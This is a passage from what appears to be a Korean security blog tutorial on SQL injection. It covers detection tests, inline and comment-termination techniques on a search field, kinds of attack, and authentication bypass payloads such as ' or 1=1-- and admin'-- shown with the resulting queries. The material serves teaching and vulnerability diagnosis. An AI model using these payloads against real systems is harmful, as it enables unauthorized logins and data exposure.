&lt;p data-ke-size=&quot;size16&quot;&gt;idx=case when 1=1 then 3 else 4 end 를 입력하여 test1 게시글로 이동할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;case when 1=1 then 3 else 4 end &amp;rarr; 1=1이 참인 경우 3 출력, 거짓인 경우 4 출력&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;어플리케이션에서 해당 구문을 해석할 수 있는 것은 아니며 DB로 질의를 해야만 해당 값의 결과가 출력된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 입력값 검증이 되지 않아서 DB로 질의가 가능하다는 의미로 취약점이 존재하는 것을 알 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;954&quot; data-origin-height=&quot;595&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/paeNq/btsK1skE6Ri/m7hr8P43dnM4JKm9EwgIF0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/paeNq/btsK1skE6Ri/m7hr8P43dnM4JKm9EwgIF0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/paeNq/btsK1skE6Ri/m7hr8P43dnM4JKm9EwgIF0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FpaeNq%2FbtsK1skE6Ri%2Fm7hr8P43dnM4JKm9EwgIF0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;954&quot; height=&quot;595&quot; data-origin-width=&quot;954&quot; data-origin-height=&quot;595&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용자 입력(파라미터) - 문자형&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;연결 연산자를 통해 판별 가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MySQL: 공백&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ORACLE: ||&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MSSQL: +&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;te' 'st 입력 &amp;rarr; select '&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b&gt;te' 'st&lt;/b&gt;&lt;/span&gt;'; 와 동일하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;검색창에 select '' 구문이 있고 ' '안에 te' 'st를 입력한것과 동일하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;te' 'st 입력 후 test 게시글이 검색이 되면 취약점이 존재한다는 것을 의미한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 통해 빠르게 취약점 존재 유무 판단이 가능하다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;952&quot; data-origin-height=&quot;451&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bcIRle/btsK2cIaDLS/8E5M3ESzhduYJg3XonVEZK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bcIRle/btsK2cIaDLS/8E5M3ESzhduYJg3XonVEZK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bcIRle/btsK2cIaDLS/8E5M3ESzhduYJg3XonVEZK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbcIRle%2FbtsK2cIaDLS%2F8E5M3ESzhduYJg3XonVEZK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;952&quot; height=&quot;451&quot; data-origin-width=&quot;952&quot; data-origin-height=&quot;451&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;244&quot; data-origin-height=&quot;174&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ZeWvb/btsK3u8yEIR/SjQ3tBmSHbryfr4WMqhx9k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ZeWvb/btsK3u8yEIR/SjQ3tBmSHbryfr4WMqhx9k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ZeWvb/btsK3u8yEIR/SjQ3tBmSHbryfr4WMqhx9k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FZeWvb%2FbtsK3u8yEIR%2FSjQ3tBmSHbryfr4WMqhx9k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;244&quot; height=&quot;174&quot; data-origin-width=&quot;244&quot; data-origin-height=&quot;174&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게시글 검색창에는 select * from board where title like '%%'; 구문이 내재되어 있다고 생각한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;test%' and '%'=' 입력 시 test 문자열이 포함된 게시글이 검색된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; select * from board where title like '%&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b&gt;test%' and '%'='&lt;/b&gt;&lt;/span&gt;%';&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인라인 방식인 경우 이렇게 구문을 입력한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인라인 방식(In-Line Query): 조건식의 우선순위를 이용하는 방식&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;958&quot; data-origin-height=&quot;476&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/BSBfj/btsK1RxJ5NP/L3aYAJj28d72jesnDldGe1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/BSBfj/btsK1RxJ5NP/L3aYAJj28d72jesnDldGe1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/BSBfj/btsK1RxJ5NP/L3aYAJj28d72jesnDldGe1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FBSBfj%2FbtsK1RxJ5NP%2FL3aYAJj28d72jesnDldGe1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;958&quot; height=&quot;476&quot; data-origin-width=&quot;958&quot; data-origin-height=&quot;476&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 test%' and '1'=1' 입력하면 어떻게 될까?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select * from board where title like'%&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b&gt;test%' and '1'='1%&lt;/b&gt;&lt;/span&gt;'; 과 동일하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; '%test%'는 참이지만 '1'='1%'은 거짓이므로 AND 조건에서는 거짓이 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결과가 거짓이므로 당연히 검색되지 않는다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;957&quot; data-origin-height=&quot;408&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/tIAPx/btsK2nQfv81/uyd3MFn7t7r5W74ZytrUtK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/tIAPx/btsK2nQfv81/uyd3MFn7t7r5W74ZytrUtK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/tIAPx/btsK2nQfv81/uyd3MFn7t7r5W74ZytrUtK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FtIAPx%2FbtsK2nQfv81%2Fuyd3MFn7t7r5W74ZytrUtK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;957&quot; height=&quot;408&quot; data-origin-width=&quot;957&quot; data-origin-height=&quot;408&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;항상 해당 검색창에 어떤 구문이 내재되어 있는지 생각하고 SQL 구문을 작성해야 한다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1을 넣어서 결과를 출력하고 싶다면 test%' and '1%'='1 을 입력하면 test 문자열이 포함된 게시글이 검색된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select * from board where title like '%&lt;b&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;test%' and '1%'='1&lt;/span&gt;&lt;/b&gt;%';&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; '%test%'는 참, '1%'='1%'도 참이므로 결과가 참이된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결과가 참이되므로 test 문자열이 포함된 게시글이 검색된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;954&quot; data-origin-height=&quot;455&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/BSQgc/btsK1zKPhrC/VHqpq2IiHEa1BCk8A2cGhk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/BSQgc/btsK1zKPhrC/VHqpq2IiHEa1BCk8A2cGhk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/BSQgc/btsK1zKPhrC/VHqpq2IiHEa1BCk8A2cGhk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FBSQgc%2FbtsK1zKPhrC%2FVHqpq2IiHEa1BCk8A2cGhk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;954&quot; height=&quot;455&quot; data-origin-width=&quot;954&quot; data-origin-height=&quot;455&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인라인 방식이 아닌 터미네이팅 방식(잘라내는 방식)을 사용해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;주석 문자를 사용하여 SQL 구문 뒷부분을 잘라내는 방식의 구문을 입력한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;주석 문자 사용 시, 주석 문자 이후의 문자열은 모두 무시한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;터미네이팅 방식(Termination Query): #, -- 등의 주석문자를 통해 쿼리를 주석 처리 하여 뒷 구문을 잘라내는 방식&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;MySQL 주석 문자:&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;#&lt;/b&gt;, --(공백), (공백)--(공백)&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;ORACLE, MSSQL 주석문자:&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;--&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;test%' and 1=1# 입력&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select * from board where titile like '%&lt;b&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;test%' and 1=1#&lt;/span&gt;&lt;/b&gt;%';&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; '%test%'는 참, 1=1도 참, #부터 뒷 문자 무시하므로 결과가 참이된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;962&quot; data-origin-height=&quot;460&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wH5Fm/btsK3hVVvfY/y0D1lNxT7p4RIQbrhOneUk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wH5Fm/btsK3hVVvfY/y0D1lNxT7p4RIQbrhOneUk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wH5Fm/btsK3hVVvfY/y0D1lNxT7p4RIQbrhOneUk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FwH5Fm%2FbtsK3hVVvfY%2Fy0D1lNxT7p4RIQbrhOneUk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;962&quot; height=&quot;460&quot; data-origin-width=&quot;962&quot; data-origin-height=&quot;460&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;test%' and 1=1 -- 입력&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select * from board where title like '%&lt;b&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;test%' and 1=1 -- &lt;/span&gt;&lt;/b&gt;%'&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; '%test%'는 참, 1=1도 참, -- 부터 뒷 문자 무시하므로 결과가 참이된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;958&quot; data-origin-height=&quot;450&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bx0cly/btsK3sQq1o9/yKH7Y0elSmurCmRGnOnokK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bx0cly/btsK3sQq1o9/yKH7Y0elSmurCmRGnOnokK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bx0cly/btsK3sQq1o9/yKH7Y0elSmurCmRGnOnokK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbx0cly%2FbtsK3sQq1o9%2FyKH7Y0elSmurCmRGnOnokK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;958&quot; height=&quot;450&quot; data-origin-width=&quot;958&quot; data-origin-height=&quot;450&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;주석 문자를 입력하여 뒤의 구문은 무시하고 '%test%' and 1=1 구문이 참이 되므로 test 문자열이 포함된 게시글이 검색된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3) 공격 종류&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;SQL Injection 공격 종류&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 인증 우회 공격&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 데이터 조회 공격, 데이터 조작 공격&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 시스템 명령어 실행 공격&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인증 우회 공격&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 인증 기능을 수행하는 어플리케이션(로그인 기능)에 정상적인 값(ID, PW)이 아닌 비정상 구문(SQL 구문) 삽입을 통해 인증을 우회(정상 ID, PW 없이 로그인)한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인라인 방식(In-line Query): 조건식의 우선순위를 이용하는 방식&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;터미네이팅 방식(Termination Query): #, -- 등의 주석문자를 통해 쿼리를 주석 처리 하여 뒷 구문을 잘라내는 방식&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;데이터 조회 공격&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; SQL Injection 취약점이 발생되는 기능에 대해서 SQL 구문 삽입을 통해서 DB내 데이터를 조회하는 공격&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; SQL Injection 공격 시 가장 많이 이루어지는 공격&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;데이터 조작 공격&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 데이터 삽입, 수정, 삭제하는 공격&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 취약점 진단할 때 실제 데이터가 조작될 가능성이 있어 되도록 잘 사용하지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;시스템 명령어 실행 공격&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; SQL 서버에 시스템 명령어 실행, 제일 취약한 공격으로 볼 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 크리티컬 하지만 환경적으로 까다로워 취약점이 발생하기 어렵다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4) 인증 우회 공격이란 무엇인가?&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1404&quot; data-origin-height=&quot;581&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ELnna/btsK13kCfzJ/Oe20AEJZyE50UbbsV04wdk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ELnna/btsK13kCfzJ/Oe20AEJZyE50UbbsV04wdk/img.png&quot; data-alt=&quot;인증 우회 공격&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ELnna/btsK13kCfzJ/Oe20AEJZyE50UbbsV04wdk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FELnna%2FbtsK13kCfzJ%2FOe20AEJZyE50UbbsV04wdk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1404&quot; height=&quot;581&quot; data-origin-width=&quot;1404&quot; data-origin-height=&quot;581&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;인증 우회 공격&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정상 로그인 시에는 정상적인 값(ID/PW)를 입력하여 DB에 ID,PW에 일치하는 데이터가 있으면 사용자에게 반환해준다. (ID는 중복되지 않으므로 1개의 레코드를 반환한다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인증 우회 공격은 ID/PW 입력칸에 비정상 구문(SQL 구문)을 입력하여 인증 기능(로그인)을 우회하는 공격이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 정상 ID/PW 없이 SQL 구문 삽입을 통해서 로그인이 가능한 취약점&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 정상 ID/PW 없이 특정 사용자 계정에 무단으로 로그인&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로그인 성공 &amp;rarr; 1개 레코드 반환(0개가 아닌 경우 로그인 될 수 있음, 개발에 따라 다름), 세션&amp;amp;쿠키 발급&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로그인 실패 &amp;rarr; 0개 레코드 반환, 에러페이지 반환&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SELECT * FROM member WHERE id='&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b&gt;' or 1=1--&lt;/b&gt;&lt;/span&gt;' and...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; id는 값이 없어 거짓, 1=1은 참이되므로 결과는 참이 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; id 값이 없으므로 member 테이블의 모든 레코드가 반환되며, 레코드 최상위 사용자로 로그인된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 admin 계정이 있다면 다음과 같이 admin'-- 구문을 입력하여 admin 계정에 비밀번호 없이 로그인이 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SELECT * FROM member WHERE id='&lt;b&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;admin'--&lt;/span&gt;&lt;/b&gt; ;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; admin' 이후 문자열은 무시, id가 admin인 계정으로 로그인&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5) 인증 우회 공격 원리&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1455&quot; data-origin-height=&quot;759&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cDEFAN/btsK252CWsr/fqKGRG94uevBcO4MwAhHyk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cDEFAN/btsK252CWsr/fqKGRG94uevBcO4MwAhHyk/img.png&quot; data-alt=&quot;미완성된 SQL 구문&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cDEFAN/btsK252CWsr/fqKGRG94uevBcO4MwAhHyk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcDEFAN%2FbtsK252CWsr%2FfqKGRG94uevBcO4MwAhHyk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1455&quot; height=&quot;759&quot; data-origin-width=&quot;1455&quot; data-origin-height=&quot;759&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;미완성된 SQL 구문&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1462&quot; data-origin-height=&quot;768&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/oneV1/btsK3OlNggT/FB0mCnKxZuKIuC8aoK3BWk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/oneV1/btsK3OlNggT/FB0mCnKxZuKIuC8aoK3BWk/img.png&quot; data-alt=&quot;사용자 입력값을 통한 SQL 구문 완성&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oneV1/btsK3OlNggT/FB0mCnKxZuKIuC8aoK3BWk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FoneV1%2FbtsK3OlNggT%2FFB0mCnKxZuKIuC8aoK3BWk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1462&quot; height=&quot;768&quot; data-origin-width=&quot;1462&quot; data-origin-height=&quot;768&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;사용자 입력값을 통한 SQL 구문 완성&lt;/figcaption&gt;
&lt;/figure&gt;
